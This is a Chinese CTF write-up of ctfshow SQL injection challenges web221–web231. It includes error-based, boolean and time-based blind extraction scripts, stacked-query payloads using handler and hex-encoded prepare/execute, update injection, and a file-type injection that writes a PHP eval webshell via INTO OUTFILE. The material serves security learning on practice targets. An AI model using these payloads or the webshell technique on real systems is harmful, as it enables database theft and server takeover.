ctfshow sql注入

开启其他注入

web221

limit注入

给出查询语句 以及过滤逻辑为空 获取数据库名即可

limit 用于控制返回结果行数

limit后面似乎只能跟PROCEDURE ANALYSE( )  函数了
PROCEDURE ANALYSE( )  函数用于分析查询结果的函数 参数是用来控制函数的
这个参数的位置 可以放入报错函数
原查询语句为select * from ctfshow_user limit ($page-1)*$limit,$limit;
payload为?page=1&limit=7 procedure analyse(extractvalue(1,concat(666,database(),666)),1)
结合后变为select * from ctfshow_user limit (1-1)*7,7 procedure analyse(extractvalue(1,concat(666,database(),666)),1); 


这里报错 为什么666就可以报错 应是~报错 其实真正的是‘~’报错 666为整形所以会导致报错

路径是字符串 到这里 我试了一下'666'结果也能报错 这里记住最好就是使用非法字符即可 也有可能是因为concat拼接的问题 

尝试 tzy 'tzy' 123 '123' ~ '~' 哪些可以

123 '123' '~' 可以 其他不可以

在报错注入的时候~的位置 如果~不行(正常报错会说路径出错,不正常的情况会说你的sql语法有错误) 使用十六进制的代替 0x7e  0x3a也是路径的非法字符 代表:
刚刚看了一下不是~不行 而是 需要使用单引号引起来 这样就成功使路径报错了


然后又发现一个关键知识 就是
/api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)
这个payload方式bp后 发现返回400 这个400代表请求的语法有问题 然后发现该payload放入浏览器中好使
最后发现 在bp的url位置 空格要换为%20 意思也就是 以后记住两点 bp的url位置 要记得url编码 以及400代表客户端有语法问题
我一直以为是获取不到服务器内容

web222

group by 注入  我以为是使用group by的报错注入那种 结果不是

依旧很简单给出后端语句 并且无过滤机制

有个去重 点击后会将username类进行分组 

正常情况盲注脚本

import requests
import string
url = "http://67daa471-56db-41f6-b753-e1599abc698e.challenge.ctf.show/api/"
result = ''
dict=string.ascii_lowercase+string.digits+"_-}{"#定义一个变量dict 包含 小写字母 数字 以及_}{等字符
# 爆表名  
payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
#payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'"
#爆字段值
#payload = "select flagaabc from ctfshow_flaga"
for i in range(1,46):print(i)for j in dict:s = f"?u=if(substr(({payload}),{i},1)='{j}',username,cot(0))#"r = requests.get(url+s)if("ctfshow" in r.text):result +=jprint(result)break

这里其实有个问题(特别乱)  我看username其实是正常返回结果

通过判断返回值是否存在ctfshow即可 我在脚本中测试cot(0)的时候 返回值是空的 我就想着cot(0)换成一个不存在的列应该也是空的 结果发现乱套了  cot(0)的位置还不能乱写呢 不存在的列有可能也不行 他有可能也会返回第一行数据 甚至可能?u=ctfshow 但也不会返回结果

然后cot(0)前面的username位置到服务器段就能不会变成‘username’的形式 而cot(0)位置如果写username 则会变成 ‘username’的形式 从而输出一行数据

反正特别乱 记住一点 进行盲注的时候多观察不同值得返回值 最好通过关键字进行准确查询 

这个cot(0)的位置 无论你是不是cot(0)还是 都要手动尝试一下返回值 

其实这道题算好的 已知第三个字符为c 这样就可以观察cot(0)位置如果换别的字符是否结果有变化 如果 没有已知条件那就操蛋了

为什么0的时候 虽然返回第一行数据 但是结果级全是a 那是因为第一行结果级里面存在ctfshow然后就退出当前循环 到达下一层循环a的时候又是存在ctfshow 所以结果里面只有a

经过上面测试发现 知道为什么用cot(0)了 传参是字符串传过去的 tzy 00 到服务器都变成了字符串 从而只返回第一行数据 而cot(0)传过去 会当做函数 从而无结果数据

说的很乱 我做这道题的时候 cot(0)的位置用的0 关键字使用的是passwordAUTO 这样 可以

最后发现 我估计是啥 如果数据库中存在指定列 传入的时候 他就会正常 如果不存在指定列他会当做字符串常量

那也无法解释为什么if(1=1,username,usernames) 会返回空 f(1=1,username,username) 不返回空

还有一个脚本y4师傅的 没看呢有时间研究一下


import requests
url = "http://67daa471-56db-41f6-b753-e1599abc698e.challenge.ctf.show/api/"
result = ""
i = 0
while True:i = i + 1head = 32tail = 127while head < tail:mid = (head + tail) >> 1# 查数据库# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"# 查列名字# payload = "select column_name from information_schema.columns where table_name='ctfshow_flaga' limit 1,1"# 查数据---不能一次查完越到后面越不准确payload = "select flagaabc from ctfshow_flaga"# flag{b747hfb7-P8e8-params = {'u': f"concat((if (ascii(substr(({payload}),{i},1))>{mid}, sleep(0.05), 2)), 1);"}try:r = requests.get(url, params=params, timeout=1)tail = midexcept Exception as e:head = mid + 1if head != 32:result += chr(head)else:breakprint(result)

第三种脚本

group注入 我们可以进行延时盲注也可以进行布尔盲注我这里用延时盲注例如group by if(1=1,sleep(1),1)
但要注意的是,group by会向下一直查询,数据库里总共有21条数据,如果我们是sleep(1)则是停顿21秒盲注脚本import requests
import time
url = 'http://fce6038b-d911-4e45-9fef-95acc7ea7c82.challenge.ctf.show/api/?u='
url2 = ' &page=1&limit=10'
str = ''
for i in range(60):min,max = 32, 128while True:j = min + (max-min)//2if(min == j):str += chr(j)print(str)break# 爆表名# payload = f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.05),'False')"# 爆列# payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{i},1))<{j},sleep(0.05),'False')"# 爆值payload = f"if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),{i},1))<{j},sleep(0.05),'False')"url0 = url + payload + url2start_time = time.time()r = requests.get(url=url0).textend_time = time.time()sub = end_time - start_timeif sub >= 1:max = jelse:min = j

web223

比上一题多加了一个要求 用户名不能是数字

判断

?u=if(true,username,a) 空

?u=if(true,username,'a')正常

也就是说 如果服务器中存在传入的列 会正常查询 如果不存在返回为空 并且a会影响username 也会返回空 'a'在服务器当做字符串常量 返回首行数据

本来想着和上一题用同样的方法

s = f"?u=if(substr(({payload}),{i},1)='{j}',username,'a')#"

但是发现substr不能使用数字进行截断了

解决办法 直接将数字换为字符的形式也是可以的

该脚本和上一题的第一个脚本对应

import requests
import string
url = "http://f400fbd3-5a73-4e19-b997-3141274a2fb7.challenge.ctf.show/api/"
result = ''
dict=string.ascii_lowercase+string.digits+"_-,}{"
# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'"
#爆字段值
payload = "select flagasabc from ctfshow_flagas"
def numToStr(str):parts = []for s in str:parts.append(numToStr2(s))res = ','.join(parts)return f"concat({res})"
def numToStr2(num):parts = []n = ord(num)#先转换为ascii的值 这里虽然传入的num是字符串形式的数字 那也无所谓也会正常输出49for i in range(n):#举个例子 如果数为1 ascii为49parts.append("true") #添加49个trueres = "+".join(parts)#将数组以+进行连接生成一个新的字符串return f"char({res})"
for i in range(1,46):#print(i)for j in dict:params={'u' : f"concat(if(substr(({payload}),{numToStr(str(i))},true)={numToStr(j)},username,cot(false)))#"#这里cot(false)改为'a'也是一样的效果 但是关键字不能是ctfshow了 因为'a'会返回第一行数据 里面也存在ctfshow a就不行了哦 直接影响 ?u=username}print(type(numToStr(str(i))))r = requests.get(url, params=params)# print(r.url)if("ctfshow" in r.text):result +=jprint(result)break

第二个脚本


import time
import requests
def make_num(i: int) -> str:return '+'.join("true" for _ in range(i))
url = "http://f400fbd3-5a73-4e19-b997-3141274a2fb7.challenge.ctf.show/api/"
# 表名 ctfshow_flagas,ctfshow_user
# payload = "ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},true))>{}"
# 列名 id,flagasabc,info,id,username,pass
# payload = "ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},true))>{}"
# flag
payload = "ascii(mid((select flagasabc from ctfshow_flagas),{},true))>{}"
true_flag = "passwordAUTO"
def valid_payload(p: str) -> bool:username = f"if({p},username,'a')"response = Nonewhile True:try:response = requests.get(f"{url}", params={"u": username})except:continuebreakreturn true_flag in response.text
index = 1
result = ""
while True:start = 32end = 127while not(abs(start - end) == 1 or start == end):everage = (start + end) // 2if valid_payload(payload.format(make_num(index), make_num(everage))):start = everageelse:end = everageif end < start:end = startif chr(end) == "!":breakresult += chr(end)print(f"[*] result: {result}")index += 1

第三个脚本

import requestsdef generateNum(num):res = 'true'if num == 1:return reselse:for i in range(num - 1):res += "+true"return resurl = "http://ff765902-0dec-4688-8cd2-1a4cc429d30a.chall.ctf.show/api/"
i = 0
res = ""
while 1:head = 32tail = 127i = i + 1while head < tail:mid = (head + tail) >> 1# 查数据库-ctfshow_flagas# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"# 查字段-flagasabc# payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'"# 查flagpayload = "select flagasabc from ctfshow_flagas"params = {"u": f"if(ascii(substr(({payload}),{generateNum(i)},{generateNum(1)}))>{generateNum(mid)},username,'a')"}r = requests.get(url, params=params)# print(r.json()['data'])if "userAUTO" in r.text:head = mid + 1else:tail = midif head != 32:res += chr(head)else:breakprint(res)

web224


登录页面

存在一个敏感文件

可以修改密码 修改登陆后是个文件上传 不是文件上传漏洞 是文件类型注入

文件类型注入讲解


正着说实在是不会 倒着说 两个文件源码

上传文件源码


<?phperror_reporting(0);if ($_FILES["file"]["error"] > 0)//上传文件书时是否报错 如果报错退出{die("Return Code: " . $_FILES["file"]["error"] . "<br />");}if($_FILES["file"]["size"]>10*1024){ //查看上传文件的大小如果太大 也是提示并退出die("文件过大: " .($_FILES["file"]["size"] / 1024) . " Kb<br />");}if (file_exists("upload/" . $_FILES["file"]["name"]))//查看upload下有没有和该文件名一样的文件 如果存在输出文件已经存在{echo $_FILES["file"]["name"] . " already exists. ";}else{$filename = md5(md5(rand(1,10000))).".zip";如果不存在 //两次md5加密一个随机数$filetype = (new finfo)->file($_FILES['file']['tmp_name']);//获取文件的MIME类型if(preg_match("/image|png|bmap|jpg|jpeg|application|text|audio|video/i",$filetype)){ //不能是常见的文件类型die("file type error");}$filepath = "upload/".$filename;//定义文件位置//这个双引号使用来拼接的$sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";move_uploaded_file($_FILES["file"]["tmp_name"],//将临时目录下的文件 移动到upload下"upload/" . $filename);$con = mysqli_connect("localhost","root","root","ctf");//连接数据库if (!$con)//没连上 输出报错信息{die('Could not connect: ' . mysqli_error());}if (mysqli_multi_query($con, $sql)) {//执行sql语句 如果成功执行 跳转到filelist.phpheader("location:filelist.php");} else {//输出报错的查询语句 以及报错内容echo "Error: " . $sql . "<br>" . mysqli_error($con);}	 mysqli_close($con);}?>

文件列表源码

<?phperror_reporting(0);//不输出报错信息echo "<center>FILE LIST</center><hr><br>";$con = mysqli_connect("localhost","root","root","ctf");//连接数据库if (!$con){die('Could not connect: ' . mysqli_error());//没连接上报错}$sql="select filename,filepath,filetype from file";//查询数据库中的filename filepath filetype$result=mysqli_query($con,$sql);//执行sql语句echo "<ul>";if(mysqli_num_rows($result)>0){//如果查询结果大于一行while($row=mysqli_fetch_assoc($result)){//遍历每一行数据 进行输出echo "<li>";echo "filename:<a href='".$row["filepath"]."'>".$row["filename"]."</a> filetype:".$row["filetype"]."<br>";}echo "</li>";}echo "</ul>";?>

该题获取文件类型的方式 不看文件后缀以及Content-Type 我尝试发现 一个空的文件 什么后缀 什么类型都能上传 但是一但 内容中有内容了就不行了 他应该是根据内容判断文件类型的

源码中获取文件类型的函数是 $filetype = (new finfo)->file($_FILES['file']['tmp_name']);

通过 $filetype = (new finfo)->file($_FILES['file']['tmp_name']); 这行代码获取的是文件的描述信息,而不是严格意义上的 MIME 类型 他不根据Content-Type 和后缀进行判断而是根据内容


整理一下流程 首先修改密码成功进入文件上传页面 但并不是文件上传漏洞 而是 文件类型注入

服务器根据文件内容判断文件类型 我上传了三种内容不同的文件  PC64 ZIP 以及空文件

回显显示他输出了文件路径 文件名 文件类型 这时候盲猜 就是服务器获取上传文件的这三个信息后 存入数据库中 然后在数据库中进行查找输出 注入的位置也看运气 盲猜服务器存数据格式为

insert intoxxx xxx xxx values (“filepath”,“filename”,“fileextra”) 插入的时候这个类型在最后一个位置 其实刚刚说运气也不对 就算不是最后一个位置 也能构造出来再前面补一位 在后面 补上注释 和云演中有道题很像  构造sql语句为

insert intoxxx xxx xxx values ('filepath','filename','filetype') 

payload:'); select <?=eval($_POST[1]);?> into outfile 'var/www/html/tzy.php';--+

这个filepath filename filetype 肯定是变量 服务器肯定使用拼接

"INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');" (回过头来发现 这个拼接的"和 构造的"无关

这时更改payload为(这里增加的”为的是闭合文建注释的")

"'); select <?=eval($_POST[1]);?> into outfile 'var/www/html/tzy.php';--+

由与木马中可能存在单引号等 对于sql来说的非法字符 或影响sql语句的字符 所以使用十六进制

"'); select 0x3c3f3d6576616c28245f504f53545b315d293b3f3e into outfile 'var/www/html/tzy.php';--+

然后现在如果判断类型 当前文件内容类型全是文本 会判断成text类型 所以提交的时候是非法的

改为不在黑名单的类型

C64File "'); select 0x3c3f3d6576616c28245f504f53545b315d293b3f3e into outfile 'var/www/html/tzys.php';--+

此时的payload 写入11.txt文件中

服务器首先根据C64File 判断该文件类型为合法的 


先说一下 这是payload.bin文件 --+前面属于文件头部(里面包含着文件类型以及文件注释) 多个点后面为文件内容 此题获取文件类型会将整个头获取到 将C64File 识别为PC64 Emulator file文件类型 将后面的内容识别为文件的注释信息  如果一个文本文件只写当前文件头的内容 服务器也会把内容当做文件头 一个意思所以我们就用1.txt即可

通过修改源码 瞬间就能懂

提交刚刚的payload 看返回值


判断完合法后 将整个文件头插入到 数据库中

传入的内容为

C64File "');select 0x3c3f706870206576616c28245f504f53545b315d293b3f3e into outfile '/var/www/html/77.php';--+

服务器获取的filetype为

PC64 Emulator file ""');select 0x3c3f70687060245f504f53545b305d603b3f3e into outfile '/var/www/html/77.php';--+"

整个插入语句为 橙色为服务器获取的文件类型

INSERT INTO file(filename,filepath,filetype) VALUES ('96601a0d0079a312915784e8076ae9d5.zip','upload/96601a0d0079a312915784e8076ae9d5.zip','PC64 Emulator file ""');select 0x3c3f70687060245f504f53545b305d603b3f3e into outfile '/var/www/html/77.php';--+"');

因为我们构造了引号语句就变为了

INSERT INTO file(filename,filepath,filetype) VALUES ('96601a0d0079a312915784e8076ae9d5.zip','upload/96601a0d0079a312915784e8076ae9d5.zip','PC64 Emulator file ""');select 0x3c3f70687060245f504f53545b305d603b3f3e into outfile '/var/www/html/77.php';--+"');

到这里我才明白构造第一个双引号不是为了闭合  变量拼接用的双引号 因为拼接完后双引号就没了  该方法获取的文件头后会将注释使用双引号 引起来 所以该构造的双引号是为了闭合 

这个注释的引号

这样就能成功将PC64 Emulator file插入数据库中 并且执行够早的sql语句


提交tzy.txt 文件内容为 payload

蚁剑连接 查找flag


之前提交了一个普通的zip 和 txt 普通文件 和一个PC64型并且构造payload的文件

当时我就注意到了 为什么PC64后面有两个双引号

 讲完就立马明白了

他是把整个 PC64 Emulator file "" 插入数据库中的


在之前提交一句话木马的时候 他们都是使用<?=`$_POST[0]`; 

当时我就想着自己弄一个正常的<?php eval($_POST[0]);?>

结果我弄了好久都弄不明白 我用010打开上传成功提示的zip文件 发现内容啥的没毛病

然后 我就想着echo一下$sql 看看执行的sql语句是不是有问题  结果真是这里有问题

这是<?=`$_POST[0]`; 正常的回显

这是<?php eval($_POST[0]);?> 不正常回显

发现语句被截断的 然后又看了一下源码 发现mysqli_multi_query 函数执行sql语句的时候 有默认的最大查询长度限制


使用工具exiftool 他们是使用工具进行的 等全都做完 回头看看这个工具怎么弄 


想着尝试一下zip的注释能不能被获取到 使用winrar 添加一个123456789的注释 发现finfo对象获取不到zip的注释 PC64的方式估计是啥 恰好 文件类型和文件注释 都是可以被finfo一同获取到的

搜了一下 发现ai回答的差不多吧

记住这个PC64 这种方法 即可 可能zip也行 但是我没成功  反正是跟元数据有关


服务器返回302 并不代表提交的数据不成功 而是跳转别的页面了

蚁剑只能连接post的

这道题陆陆续续弄了4个点 学到很多 说实话要是全程贼认真 2个点完事了

以逆向的方式学习的这道题

web225

给出语句以及过滤点 使用bp看看什么方式传参

她是访问api页面进行传参 返回是一个json格式的响应

本来以为给的sql语句中{}也是一部分 发现  根本没用  不需要闭合  举个例子 如果查询

?username=ctfshow}';show%20tables;%23 这就查不到ctfshow的内容

而?username=ctfshow';show%20tables;%23 就可以查询到ctfshow的内容

首先获取表名

ctfshow';show tables;%23

发现有个ctfshow_flagasa的表 但是过滤了union select等 

第一种方法

可以使用handler代替select

payload

ctfshow';handler%20ctfshow_flagasa%20open%20as%20hd;handler%20hd%20read%20first;%23

handler ctfshow_flagasa open; 先打开一个表 这是必须的

handler ctfshow_flagasa read first; 读取表的第一条数据

第二种方法

payload

ctfshow';Prepare stmt from CONCAT('se','lect * from `ctfshow_flagasa`;');EXECUTE stmt;#

prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
(deallocate|drop) prepare name用来释放掉预处理的语句(也可以不加)

这样也可以

payload

ctfshow';Prepare stmt from concat(char(115,101,108,101,99,116),'* from ctfshow_flagasa;');EXECUTE stmt;#

这里我想着 既然能用concat拼接 我直接正常拼接一个select 结果本地测试发现不行

web226

和上一题没啥区别 用上一题的试试 发现不对 不能使用show 和( 不能查看表名 和 使用预编译

 

预编译 concat的(不能用了 使用 十六进制依旧可以

先说一个稍微题外的知识

如果只是过滤引号的话可以用unhex()和hex()组合绕过,这里分享一下

'abc' 等价于unhex(hex(6e6+382179)); 可以用于绕过大数过滤(大数过滤:/\d{9}|0x[0-9a-f]{9}/i)
具体转换的步骤是:
  1. abc转成16进制是616263
  2. 616263转十进制是6382179
  3. 用科学计数法表示6e6+382179 
  4. 套上unhex(hex()),就是unhex(hex(6e6+382179));

回到题目中来

如果使用预编译payload为

ctfshow';Prepare stmt from concat(char(115,101,108,101,99,116),'* from ctfshow_flagasa;');EXECUTE stmt;#

concat(char(115,101,108,101,99,116),'* from ctfshow_flagasa;')转为原有格式

select * from ctfshow_flagasa 转换为十六进制为0x

这是时候表名也不对 先使用show tables 转16进制0x73686f77207461626c6573

payload变为ctfshow';Prepare stmt from 0x73686f77207461626c6573;EXECUTE stmt;#

这个语句其实是对的 为什么不对呢 因为前面有ctfshow了 在这道题中 正常查询ctfshow也是不成功的 我用bp试了一下 无论用户名在数据库中是否存在 都不影响结果的输出 但是唯独ctfshow不可以 服务器的逻辑 可能是 如果发现存在ctfshow 直接退出返回空结果 

payload改为?username=';Prepare stmt from 0x73686f77207461626c6573;EXECUTE stmt;#单引号前面随便放值都可以ctfshow除外 得出结果 ctfsh_ow_flagas表

select * from ctfsh_ow_flagas 转换为十六进制为0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173 发现不对 纳闷了

payload为1';Prepare stmt from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;EXECUTE stmt;#

然后发现 同样的字符串 在不同网站转换的十六进制竟然有细微的不一样的 原因是因为不同的工具或网站在处理字符编码时采用了不同的方式 也可以使用数据库中的 select hex("字符串"); 获取十六进制的值

字符串转换十六进制 我使用这个网站对于这道题来说是正确的

而且我还发现一件事 就是 这个注释不加竟然也是可以的 构造中的;就结束语句了 如果不构造这个; 就会报错 不构造;就需要加上注释 了 这个时候 虽然语句末尾没有分号 依旧是可以执行成功语句的

既然知道表名了 使用handler 也是可以的 同理末尾不需要分号也可以

还要说一点哦 就是73686f77207461626c65733b 这个3b不能转换十六机制 必须谢伟

73686f77207461626c6573;

web227

逗号也给过滤了

过滤逗号 上一题 也能用

show tables;

';Prepare%20stmt%20from%200x73686f77207461626c6573;EXECUTE%20stmt;

查不到flag表

select table_name from information_schema.tables where table_schema=database()

';Prepare%20stmt%20from%200x73656c656374207461626c655f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;EXECUTE%20stmt;

也查不到flag表

难道不在这个数据库?

select schema_name from information_schema.schemata

';Prepare%20stmt%20from%200x73656c65637420736368656d615f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e736368656d617461;EXECUTE%20stmt;

发现多个数据库 没有一个和flag有关的 一般情况下flag就在当前数据库中呀 也就是ctfshow_web这个数据库

只能看大佬wp了 

知识点 有时间可以好好看看

mysql存储过程

mysql存储过程

这题和mysql的information_schema.Routines有关  flag就在里面

这个表中存储的是 存储过程 以及 函数信息  存储过程和函数 是什么呢?

简单理解就是 一个函数/工具 需要的时候就调用 

语法

select * from information_schema.routines where routine_name='sp_name';

sp_name为存储过程或函数的SPECIFIC_NAME字段的值(可以理解为某一函数的名字) 我们不知道于是只写select * from information_schema.routines 即可 他将输出所有的存储过程及函数信息

payload

1';prepare yu from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute yu; 

得到falg 

如果有些情况下 不允许输出大量数据 可以使用(mysql 不区分大小写哦)

先查询routines中的列名有哪些

select column_name from information_schema.columns where table_name = 'routines'

十六进制编码后为73656c65637420636f6c756d6e5f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d65203d2027726f7574696e657327

payload为:1';prepare yu from 0x73656c65637420636f6c756d6e5f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d65203d2027726f7574696e657327;execute yu;

json解析后发现 不存在flag什么的 结果发现是SPECIFIC_NAME 是存储过程和函数的名称 

于是 查找一下函数的名字有哪些

select SPECIFIC_NAME from information_schema.routines

payload为1';prepare yu from 0x73656c6563742053504543494649435f4e414d452066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute yu;

得到flag的名字 getFlag getFlag可以理解为函数名字

于是  

select * from information_schema.routines where SPECIFIC_NAME = 'getFlag'

这块 我弄了好久 又是转16进制的问题  我就纳闷了 结果是空格的问题 因为我有的paylaod是复制别人的再改改 这个时候导致复制过来的时候有些地方空格 左右会出现十六进制a0(空白字符) 然后呢 最搞笑的是 我已开始以为都是空格 我就把一个空格一个空白字符删除了 到时剩下一个a0 然后呢进行十六进制后 传参导致失败 

真的很无语 弄了1个点才搞清楚原因 我还以为SPECIFIC_NAME不行呢

select * from information_schema.routines where SPECIFIC_NAME = 'getFlag'

73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e65732077686572652053504543494649435f4e414d45203d2027676574466c616727
payload

1';prepare yu from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e65732077686572652053504543494649435f4e414d45203d2027676574466c616727;execute yu;

json解码 更规范点查看

select * from information_schema.routines where routine_name = 'getFlag' 也是可以的这里面

routine_name=specific_name的值 我不知道正常情况下相不相等

插一个知识点 如果知道函数名了 使用call调用 1';call getflag(); 

存储过程中(函数)getflag的内容为SELECT \"ctfshow{599e25f8-02a0-4811-9aaf-59daa809dc35}\"

调用后则执行该内容 这时flag就能被输出了

堆叠的数据 不会被浏览器获取到 抓包或者看网络包是可以的 然后呢 之所以堆叠的数据不会被浏览器获取 我认为的原因是 返回数据中有固定字段 浏览器只获取指定的字段 其余的虽然在返回的内容集合中 但是浏览器不管 只管他想要的 

哈哈 还真被我说对了 测试了一下  虽然不知道源码是什么样的 但是也被我猜中了

payload

1';prepare%20yu%20from%200x73656c6563742069642c757365726e616d652c706173732066726f6d2063746673686f775f7573657220776865726520757365726e616d65203d2027757365723227;execute%20yu;

成功输出到浏览器中

web228/web229/web230

其他人的wp说是228 229 230 三道题都用226的方法  先试一遍 然后看看banlist数据库里面有什么过滤的

web228

虽然给出了sql的语句 但是过滤不知道过滤了 什么

show tables

payload ';Prepare stmt from 0x73686f77207461626c6573;EXECUTE stmt;#

存在三个表

select * from ctfsh_ow_flagasaa

payload ';Prepare stmt from 0x73656c656374202a2066726f6d2063746673685f6f775f666c616761736161;EXECUTE stmt;#

得出falg

看看使用 handler的方式行不行

';show%20tables;%23 差表肯定是不行了 估计过滤逗号和show 一会看看

因为已经知道表名了直接用handler试试

';handler%20ctfsh_ow_flagasaa%20open%20as%20hd;handler%20hd%20read%20first;%23

发现是可以的

查看banlist表看看过滤机制吧

本来想着直接用handler 方便 结果忘记了 这是一行一行输出的 还得用预处理的方式

select * from banlist

';Prepare%20stmt%20from%200x73656c656374202a2066726f6d2062616e6c697374;EXECUTE%20stmt;

也确实过滤了show 但发现里面竟然有handler 但是我刚刚使用handler一点问题没有呀 哈哈 搞不懂

web229

同理试试web228的两种方法

show tables

payload ';Prepare stmt from 0x73686f77207461626c6573;EXECUTE stmt;#

select * from flag

payload ';Prepare stmt from 0x73656c656374202a2066726f6d20666c6167;EXECUTE stmt;#

使用handler 看看 不可以了 这个成功被过滤了

看看过滤机制 和上一题竟然一样 上一题能用handler 这一题用不了

';Prepare%20stmt%20from%200x73656c656374202a2066726f6d2062616e6c697374;EXECUTE%20stmt;#

web230 同理

show tables

payload ';Prepare stmt from 0x73686f77207461626c6573;EXECUTE stmt;#

select * from flagaabbx

payload ';Prepare stmt from 0x73656c656374202a2066726f6d20666c61676161626278;EXECUTE stmt;#

依旧显看一下handler  获取不到

看看过滤机制 和上一题依旧是一样的


updata注入开始

web231

先说一下正常的update 更新语句

update users set username=123,password=666 where id=1

该语句的意思是 更新users表中 id=1的行 将username改为3 password改为666 如果没有where条件会将所有用户的账号密码都更改为3和666

此题

update ctfshow_user set pass = '{$password}' where username = '{$username}';

可以构造payload

注意注意注意 我写这个payload又出现问题了 和上面有一个问题一样 不知道是不是csdn 要记住有的时候可能空格是空字符 十六进制20被执行会成功 而a0不会成功 我的解决方法是把看起来两个一样的payload 转换16进制 就能发现这个问题 空格被转换为20 而空字符被转换成a0 

update ctfshow_user set pass = '666',username=database() where 1=1#' where username = '{$username}';

写不写where 1=1 都可以 都一个意思 

传参不知道是get还是post 一个一个尝试即可 发现时post

这里还有一个问题 就是 虽然用不上传参的username参数 但是必须要写 估计是啥原因 就是服务器会判断是否存在username这个参数 如果不存在 就不执行sql语句了 直接返回原有结果 如果执行成功 只返回一个成功的提示 

正确的情况

查看当前数据库表都有哪些

password=6s66',username=(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') where 1=1#&username=

得到了flaga表

突发奇想直接*出来 不用查看字段值了

password=6s66',username=(select concat_ws(*) from ctfshow_web.flaga) where 1=1#&username=

发现不行

还是正常情况弄吧

查看flaga 表 字段有哪些

password=6s66',username=(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='flaga') where 1=1#&username=   注:不要忘记单引号

查看flagas字段值

password=6s66',username=(select flagas from ctfshow_web.flaga) where 1=1#&username=

问题解决

update ctfshow_user set pass = '666',username=database() where 1=1#' where username = '{$username}'; 这个时候我想着把database() 换成 show tables; 我还觉得为啥不对呢

之后想了想发现真是个笑话 在mysql中 show databases 和 show tables 是命令行直接输出

前面的题之所以能用show tables 是因为 那是堆叠注入 在分号后执行的 所以可以执行show命令

而这道题 他是在一个语句里面 里面只能使用函数或者select语句 会有返回值作为username的值

我真的是对自己无语总想太多问题 比如我又想 里面只能是select语句和函数吗 别的可以吗? 我想的一点屁用没有 记住select和函数能用就行 又想了 如果返回空 或者报错 语句会被执行嘛 我想的太多 一点用没有 语句报错 语句肯定不会被执行 就比如刚刚的show 我执行后 发现结果没变 那就代表语句没有被成功执行 如果空值 无非两种可能一种不执行语句 一种 执行后 结果就是空的 刚刚我试了一下 如果空值 整个语句都不会执行

盲注脚本  有时间可以学习一下

在盲注中 我又想到了一个问题

update ctfshow_user set pass = '{$password}' where username = '{$username}';

这个语句 最后是有分号的 但是 我构造后变为

password=1&username=ctfshow' and if(1,1,0)#

update ctfshow_user set pass = '{$password}' where username = 'ctfshow' and if(1,1,0)#';

这个注释把分号注释了竟然还可以

然后我主动加上分号也是可以的

password=111&username=ctfshow' and if(1,1,0);# 

那就试试不用注释呢 不用注释 不行 才看到 后面还有个单引号  反正如果是语句最后面 有没有分号应该都是可以的

时间盲注

import requests
url = "http://9ed68e47-6458-47e8-8937-8b6374868aec.challenge.ctf.show/api/"
table_name = 'flaga'
flag = 'flagas'
result = ''
# 数据库名
# payload = "database()"
# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = f"select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{table_name}'"
# 爆字段值
payload = f"select {flag} from {table_name}"
for i in range(1, 50):head = 32tail = 127while head < tail:# sleep(1)mid = (head + tail) >> 1  # 中间指针等于头尾指针相加的一半#print(mid)data = {'username': f"ctfshow' and if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",'password': 0}try:r = requests.post(url, data, timeout=2.5)tail = midexcept:head = mid + 1  # sleep导致超时if head != 32:result += chr(head)print(result)else:break

第二个脚本

布尔盲注 有个注意的地方时 这里面password为什么每次都要变值 是因为 如果连续语句正确 成功更新密码为1后 再次更新密码为1 哪怕语句成功执行 但是 也会返回更新失败  这个时候如果更新密码为2 则显示更新成功

import requests
url = "http://9ed68e47-6458-47e8-8937-8b6374868aec.challenge.ctf.show/api/"
str = "01234567890abcdefghijklmnopqrstuvwxyz{}-()_,,"
flag = ""
#password=1234567811&username=ctfshow' and if(substr(database(),1,1)='c',1,0)#
#*************************************************************************************************************************************************************
#--------查表
#sql= "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#--------查字段
#sql= "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flaga'"
#--------查flag
sql= "select group_concat(flagas) from flaga"
#*************************************************************************************************************************************************************
payload = "ctfshow' and if(substr(({}),{},1)='{}',1,0)#"#计数
